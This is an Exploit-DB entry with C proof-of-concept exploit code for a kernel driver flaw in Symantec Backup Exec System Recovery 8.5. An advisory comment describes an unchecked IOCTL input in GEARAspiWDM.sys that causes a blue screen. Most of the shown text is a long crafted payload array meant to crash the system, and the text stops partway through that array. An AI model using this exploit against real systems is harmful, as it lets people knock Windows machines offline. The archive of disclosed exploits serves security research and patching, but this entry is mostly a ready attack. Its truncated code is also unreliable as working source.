Exploit-DB #17273
Description: Symantec Backup Exec System Recovery 8.5 - Kernel Pointers Dereferences
Type: dos
Platform: windows
Date: 2011-05-12
Author: Stefan LE BERRE

Exploit:
#include <stdio.h>
#include <windows.h>
#include <winioctl.h>
#include <stdlib.h>
#include <string.h>

/*
Program          : Symantec Backup Exec System Recovery 8.5 - 0day
Homepage         : http://www.symantec.com
Discovery        : 2009/12/23
Author Contacted : 2011/04/01 - No reply
Author Contacted : 2011/04/29 - No reply... again !
Patch Updated    : Not now
Found by         : Heurs
This Advisory    : Heurs
Contact          : s.leberre@sysdream.com


//----- Application description


Symantec Backup Exec System Recovery 8.5 is a complete disk-based system 
recovery solution for Microsoft Windows based servers, desktops, and laptops 
that allow businesses to recover from system loss or disasters in minutes, not 
hours or days - even when recovering to a dissimilar hardware platform; to a 
virtual environment; or to a remote, unattended location. In short, this 
powerful solution gives an administrator unprecedented power in meeting 
ambitious recovery time objectives and service-level agreements.

//----- Description of vulnerability

GEARAspiWDM.sys (the CD / DVD filter) driver don't check all inputs of an IOCTL. 
An exception can be thrown if we modify one byte.
With my test I can't do best exploitation than a BSOD.

//----- Credits

http://www.sysdream.com
http://www.hackinparis.com/
http://ghostsinthestack.org

s.leberre at sysdream dot com
heurs at ghostsinthestack dot org

*/

int __cdecl main(int argc, char* argv[])
{
    HANDLE hDevice = (HANDLE) 0xffffffff;
    DWORD NombreByte;
    DWORD Crashing2[] = {
        0x98521a4e, 0x35c9b325, 0x329aded9, 0x2b89a43f,
        0x9e338a58, 0x54372b5f, 0x1c6164bb, 0x439b3b32,
        0x7ffa3ca5, 0x90ee3512, 0xb3be1b06, 0x9363dad1,
        0x1f91adea, 0xcc611f7e, 0xdf527cc9, 0xb0856250,
        0x4a0d92ff, 0x7b57a9fd, 0xe438ef46, 0x013ac977,
        0xb6ce60fc, 0x6042a1f8, 0xe4da87f0, 0x118e4887,
        0x47ea6b36, 0xfb83daa8, 0xd50ff81b, 0xfd3c97c9,
        0xd743656a, 0x8b7318b7, 0x955d2607, 0x0cb6d64f,
        0x3acc85fb, 0xca8f44d3, 0x2859a3de, 0x80fdabb1,
        0x63b5fc1d, 0x9b2b73d7, 0x16038535, 0xb8072dca,
        0xda4edb5a, 0xe7e89f58, 0xd2b0d395, 0x64b404a4,
        0x422f6292, 0xafb88db2, 0xefee2383, 0x2034e944,
        0x9c7f782e, 0x40d0b37e, 0x95c621e1, 0xc67d9c45,
        0xf4bfc4d8, 0xa6b50be6, 0xaf327fcf, 0x8ea76c13,
        0x85bf39d2, 0x3224f445, 0xf13ffd4d, 0x8a0ed02e,
        0x11768b7f, 0x05da276b, 0xc264c7de, 0x70038327,
        0x9f965ab9, 0x7bd47648, 0xfbe34062, 0x94e5540f,
        0xe41cc6c2, 0x5b4a2559, 0x429e5122, 0x83c913e4,
        0xca98e661, 0xbd3ad1fe, 0x972a24c2, 0xb77b0b77,
        0x48e31285, 0x77dd9743, 0x42374f25, 0xdf841c34,
        0x5aa3d162, 0x4f8cf953, 0xbc2ada9d, 0xa4cad244,
        0x9080a47f, 0x27af163a, 0xf8e5b0e1, 0x80248421,
        0x963b4b99, 0x2ca00d49, 0x81b3ef37, 0xc2466b09,
        0x46ccb43a, 0xff10f2f9, 0xac712349, 0x5ad59d96,
        0xd978b259, 0xcbcfeca1, 0x98273614, 0x332f6c59,
        0xa486d4ee, 0x7fad0d57, 0xf65601c1, 0xeb1e6321,
        0x50408419, 0x5190a0e8, 0xb3cc3374, 0xeabd4a3d,
        0xd236b852, 0x92cba4db, 0x4e52f33a, 0xa9f488cb,
        0x067d88e4, 0xd31d588d, 0x47aa2c28, 0xf0918cb3,
        0x46c518af, 0x430a2c52, 0xc49fc7ca, 0x49e7d5f0,
        0x6cd26dbc, 0xd83fde69, 0x926c03ba, 0xb4850695,
        0x9235d279, 0xaa1ffa33, 0x996f4d09, 0xbfed8fa0,
        0x30cff2cc, 0x1f21d5c3, 0x38c3f62b, 0x8291db1e,
        0xb536c7e0, 0x3c705ff0, 0x23f180a2, 0xdbb6059e,
        0x4dd9351a, 0x231487bc, 0x915fe713, 0x87616e77,
        0xdbcb473e, 0x1a830215, 0x8cbba20a, 0x902a03d8,
        0xfcf9b1eb, 0xca69f2be, 0x44a96ca3, 0xa7d7aaab,
        0x8949408f, 0xc9d0d1e2, 0x2775a41c, 0x71f381ff,
        0xba970686, 0x222a18f5, 0xfab74884, 0xb53efcb4,
        0xfbb46a7a, 0x1de45c9f, 0xbb5838ad, 0x274cfd1b,
        0xa841ffcb, 0x02f17a83, 0x18fe4da2, 0xa4a1b953,
        0x788a1f92, 0x8a0c5b81, 0x54b69f16, 0x570abe6b,
        0x7e58db8e, 0x1d6d7245, 0x0f6f7b5e, 0x7121c421,
        0xefa6a254, 0xb1fd7db2, 0xc9bc5216, 0x2ae57c8d,
        0xa9ccba01, 0x1e375901, 0x0fe3e83b, 0x729f90db,
        0x4e054937, 0x9861523c, 0x644cc902, 0xf23b2474,
        0x599a913f, 0x32ccfcd9, 0x7f3ca050, 0x3de365f6,
        0x55ca0856, 0x72113509, 0x188f3b56, 0x4fa1b960,
        0x403d751a, 0xfeb043d7, 0x5b451a9d, 0x52cdfdf4,
        0x7c84854c, 0xaea8abc2, 0x1f690135, 0x0d98ac73,
        0x90d3fb36, 0x92c4c71c, 0xa329ece4, 0xffe6a577,
        0x70a4829e, 0x9fd6b0b7, 0x13ec771e, 0xa8724de2,
        0xa8d25ffb, 0x84b00cce, 0xa1791d95, 0xe6a5cb04,
        0xd0460421, 0x0fa785ea, 0x0521dfea, 0x6b745113,
        0xc3512018, 0x3613d26c, 0x5fcebf1f, 0x6dd6a8ed,
        0xf29a61ce, 0x66e0c099, 0x2bff4910, 0x6e92dbdd,
        0xafce203a, 0xed07a42b, 0x657cd627, 0xcc05e18f,
        0x848aa8cd, 0x5db76bf0, 0x66feef0f, 0x36fefa72,
        0xac75a2fa, 0x8cd0ec62, 0x2805f29c, 0x3f9af683,
        0xedc84ed5, 0xcafa4942, 0x29f94618, 0x80d6f110,
        0x924035d0, 0x239cfd83, 0x4251cea1, 0xf54575db,
        0x3c9815b4, 0xcb86e9df, 0xe0a46e7b, 0x8feb5e66,
        0x17dee85f, 0xcf9d26f4, 0x6afe496e, 0x3e8c1322,
        0xe6f99038, 0xd4735c42, 0x760d0bd6, 0xb43c3c60,
        0x788de1ce, 0xf52c1d56, 0xa6d31938, 0x275cb624,
        0x9ae96c95, 0x194068c6, 0xe5eee0a2, 0x2ee7d840,
        0xdd82ba28, 0x3435826a, 0x9a486fc3, 0x2701aa59,
        0x6c362b8f, 0x4e5d96a6, 0x1bdc57f7, 0x754c2319,
        0x71380617, 0x90542310, 0x65d72160, 0x3f77356e,
        0x41e648e9, 0x250870ae, 0x29f398a2, 0x1b980674,
        0x8d41476f, 0x9b9ec36a, 0x017d514a, 0x75badffc,
        0x0ca9dccf, 0xb1fb1936, 0x6ca3bdd7, 0xc5fd39b8,
        0x8d6878ba, 0x1769e6dc, 0xac396388, 0xaaa92090,
        0xea758f25, 0x250ece7a, 0x84a575fb, 0x08f09242,
        0xe983aa84, 0x06a02443, 0x047accd5, 0x86814c54,
        0xae978f01, 0x2a8df4b7, 0x5079e1f7, 0x4599b151,
        0x4b06b065, 0x0fa58f90, 0x11e0624c, 0xc3a3f881,
        0xf795fe9